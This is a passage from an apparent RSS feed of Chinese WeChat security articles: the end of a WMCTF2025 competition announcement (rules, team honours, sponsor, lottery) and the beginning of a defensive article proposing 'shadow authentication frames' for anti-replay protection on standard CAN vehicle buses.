leaf="">采用动态分值，每道题目的分值将根据解出队伍的数量进行动态计分；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">最终排名根据每个队伍的总分确定，在多个队伍得分相同的情况下，越早达到这一分值的排名越高。</span></p></li></ol><h3 data-tool="markdown.com.cn编辑器" style="color: black;font-size: 17px;font-weight: bold;text-align: center;margin-top: 20px;margin-bottom: 20px;"><span style="display: none;"></span><span style="border-bottom: 2px solid RGBA(79, 177, 249, .65);color: #2b2b2b;padding-bottom: 2px;"><span leaf="">竞赛规则：</span></span><span style="display: none;"></span></h3><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;list-style-type: decimal;font-size: 15px;color: #595959;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">参赛队伍如有任何违规行为，将被取消比赛资格；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">禁止不同参赛队伍合作，或者共享flag、hint等任何比赛相关信息；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">禁止攻击比赛平台，如果发现平台漏洞，请务必向我们报告；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">禁止在比赛中妨碍其他队伍解题，例如当你解完一道题后对环境进行破坏；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">禁止往比赛平台发送大量流量，没有任何题目需要使用扫描器；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">禁止对提交的flag进行爆破；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">获奖的队伍必须提交完整解题报告；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">比赛解释权最终归主办方所有。</span></p></li></ol><h3 data-tool="markdown.com.cn编辑器" style="color: black;font-size: 17px;font-weight: bold;text-align: center;margin-top: 20px;margin-bottom: 20px;"><span style="display: none;"></span><span style="border-bottom: 2px solid RGBA(79, 177, 249, .65);color: #2b2b2b;padding-bottom: 2px;"><span leaf="">联系方式：</span></span><span style="display: none;"></span></h3><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">QQ群：727697644</span></p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">邮 箱：ctf[AT]wm-team.cn</span></p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">Discord: <a href="https://discord.gg/UrYYynD5ww" target="_blank">https://discord.gg/UrYYynD5ww</a></span></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;display: block;border-bottom: 4px solid #40B8FA;"><span style="display: flex;color: #40B8FA;font-size: 20px;margin-left: 25px;"><span leaf="">0x04 W&amp;M战队介绍</span></span><span style="display: flex;box-sizing: border-box;width: 200px;height: 10px;border-top-left-radius: 20px;background: RGBA(64, 184, 250, .5);color: rgb(255, 255, 255);font-size: 16px;letter-spacing: 0.544px;justify-content: flex-end;float: right;margin-top: -10px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></h2><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">W&amp;M战队其前身为多校联合战队W&amp;P战队与MxM战队合并而来，队员全部来自各大高校以及国内知名网络安全公司。我们的目标是成为一个有影响力的国际网络安全团队。</span></p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">在CTF方面我们曾荣获多项荣誉，例如：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;color: #595959;list-style-type: circle;" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2024 - 第四届网鼎杯亚军</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2024 - ByteCTF 初赛冠军 / 决赛第三名</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2024 - D^3CTF 冠军</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2024 - 强网杯 S7 决赛 一等奖</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2024 - 第四届红明谷 初赛第二名 / 决赛第三名</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2024 - AliYunCTF 第三名</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2023 - 西湖论剑网络安全技能大赛 冠军</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2023 - XCTF 7th Final 一等奖</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2023 - 红明谷网络安全大赛 初赛第一名 / 决赛第二名</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2022 - 强网拟态初赛 冠军</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2022 - 祥云杯初赛 冠军</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2022 - ByteCTF 冠军</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2022 - 强网拟态车联网赛道 冠军</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2021 - ByteCTF Online 冠军</span></p></div></li></ul><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">还有其余许多CTF知名赛事的奖项，均可以在我们的官网(<a href="https://wm-team.cn/achievement.html)查询到。" target="_blank">https://wm-team.cn/achievement.html)查询到。</a></span></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;display: block;border-bottom: 4px solid #40B8FA;"><span style="display: flex;color: #40B8FA;font-size: 20px;margin-left: 25px;"><span leaf="">0x05 合作伙伴</span></span><span style="display: flex;box-sizing: border-box;width: 200px;height: 10px;border-top-left-radius: 20px;background: RGBA(64, 184, 250, .5);color: rgb(255, 255, 255);font-size: 16px;letter-spacing: 0.544px;justify-content: flex-end;float: right;margin-top: -10px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></h2><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">本次WMCTF2025感谢陌陌安全大力支持。陌陌安全致力于守护陌陌亿万用户信息安全，为陌陌产品安全保驾护航，为亿万用户提供安全的互联网生态环境。</span></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;display: block;border-bottom: 4px solid #40B8FA;"><span style="display: flex;color: #40B8FA;font-size: 20px;margin-left: 25px;"><span leaf="">0x06 文末抽奖</span></span><span style="display: flex;box-sizing: border-box;width: 200px;height: 10px;border-top-left-radius: 20px;background: RGBA(64, 184, 250, .5);color: rgb(255, 255, 255);font-size: 16px;letter-spacing: 0.544px;justify-content: flex-end;float: right;margin-top: -10px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></h2><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">关注本公众号，并转发此文章到朋友圈，不可设置分组、屏蔽，领奖前不可删除！</span></p><p nodeleaf=""><mp-common-miniprogram class="js_uneditable custom_select_card mp_miniprogram_iframe" data-pluginname="insertminiprogram" data-miniprogram-path="pages/lucky/lottery/detail?id=8MAXnvcjsov" data-miniprogram-nickname="抽奖助手" data-miniprogram-avatar="http://mmbiz.qpic.cn/mmbiz_png/Vdys2e8jP1l1clbflznHYO7IRflCZWjPfD4NMn1Xqgr5gZbBy1qVc12cGVG1whLTXiafBT7kiaWRl38HCbqLnRzw/640?wx_fmt=png&amp;wxfrom=200" data-miniprogram-title="WMCTF2025 抽奖" data-miniprogram-imageurl="http://mmbiz.qpic.cn/mmbiz_jpg/aFJv52grsibtYtHTfW9pE0U4PvDdKEC33XH8QYJibBWjvL3x3P4620APicYFJJyrOgAm533ZxiaYnOuurnzP55tzAw/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-miniprogram-appid="wx01bb1ef166cd3f4e" data-miniprogram-applink="#小程序://抽奖/2NR6j8llBpaeFDz" data-miniprogram-imageurlback="https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibtYtHTfW9pE0U4PvDdKEC33jyhHR9D9PAJFFWLTz6vFZQKCSfNkVfkUlTqibKva1q4dHYmvyMDKlBw%2F0%3Fwx_fmt%3Dpng%26from%3Dappmsg" data-miniprogram-cropperinfo="%7B%22c%22%3A%7B%22x%22%3A12%2C%22y%22%3A36%2C%22x2%22%3A87%2C%22y2%22%3A96%2C%22w%22%3A75%2C%22h%22%3A60%7D%7D"></mp-common-miniprogram></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247515223">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6fb5ab96&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515223%26idx%3D1%26sn%3Db4f9bd7fcb277b86d426a8be32a93995">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 13 Sep 2025 09:00:00 +0800</pubDate>
    </item>
    <item>
      <title>利用影子认证帧在标准CAN上实现防重放的技术方案</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515206&amp;idx=1&amp;sn=b376a0c51a1bbb5eb4643b3b033fb9e5</link>
      <description>一个几乎百搭、不改架构、低成本就能落地的整车防重放方案</description>
      <content:encoded><![CDATA[<p>
原创 <span>novy</span> <span>2025-09-05 14:15</span> <span style="display: inline-block;">浙江</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f2b06ce7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvY9CIZX9cNok7Ric0mIy8cErmZ8R3icDPhKpSS9qjBXNa5bYNMDdg0rzfGaNd7NOKBpngIeQtMyR8g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-pm-slice="0 0 []"><span leaf="">一个几乎百搭、不改架构、低成本就能落地的整车防重放方案，不是什么颠覆性创新，但或许能给大家带来一点启发：</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">把原来单独的业务指令（业务帧）变成一个 “指令+动态密码” 的组合，这个 “动态密码” 被打包在一个单独的帧里，这里称为认证帧。因为认证帧和指令帧绑定且紧随其后，就像影子一样，所以这里就叫它 “影子认证帧”</span></strong></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">也就是说，要实现该方案只需要给每一个关键控制帧后面额外增加一帧即可。如果觉得单纯计数器不够安全、本身没有用CANFD、想低成本短时间满足要求的可以参考本文。下面，给大家解析这个方案该如何开展</span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 22.4px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">确定保护范围</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">因为方案是基于“</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">庞大的整车电子电气架构牵一发而动全身，改造起来成本高昂、协同困难或没有多余的数据场位做校验</span></strong><span leaf="">”的原因考虑，所以在开始实施的阶段，我们只需要筛选出一些需要防重放的报文，而不是所有：</span></p><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">识别网络中所有需要防重放保护的关键控制功能（可以根据TARA也可以自己凭经验列举）</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">列出这些关键帧的CAN ID清单</span></span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 22.4px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">影子认证帧ID分配规则</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">筛选出清单后，需要为清单中的每一个关键帧CAN ID (</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">x</span></code><span leaf="">) 分配一个唯一的影子认证帧CAN ID (</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">x&#39;</span></code><span leaf="">)</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">分配规则</span></strong><span leaf="">：</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">x&#39; = x + Base_Numb</span></code><span leaf="">（例如，</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Base_Numb = 0x100</span></code><span leaf="">），或根据预定义的映射表进行分配</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">前置条件</span></strong><span leaf="">：必须确保所有分配的 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">x&#39;</span></code><span leaf=""> 不与网络中任何现有帧ID发生冲突，需要查询整车CAN矩阵进行确认</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">示例：</span></strong><span leaf="">需要做防重放的关键帧ID为</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">0x100</span></code><span leaf="">，那么根据前面分配规则说到的公式</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">0x100 + 0x100 = 0x200</span></code><span leaf="">，分配的影子认证帧ID就为</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">0x200</span></code></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 22.4px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">影子认证帧数据结构</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">参照标准CAN格式，统一影子认证帧的数据场格式为8字节，具体定义如下：</span></p><table style="box-sizing: border-box;margin: 20px 0px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: 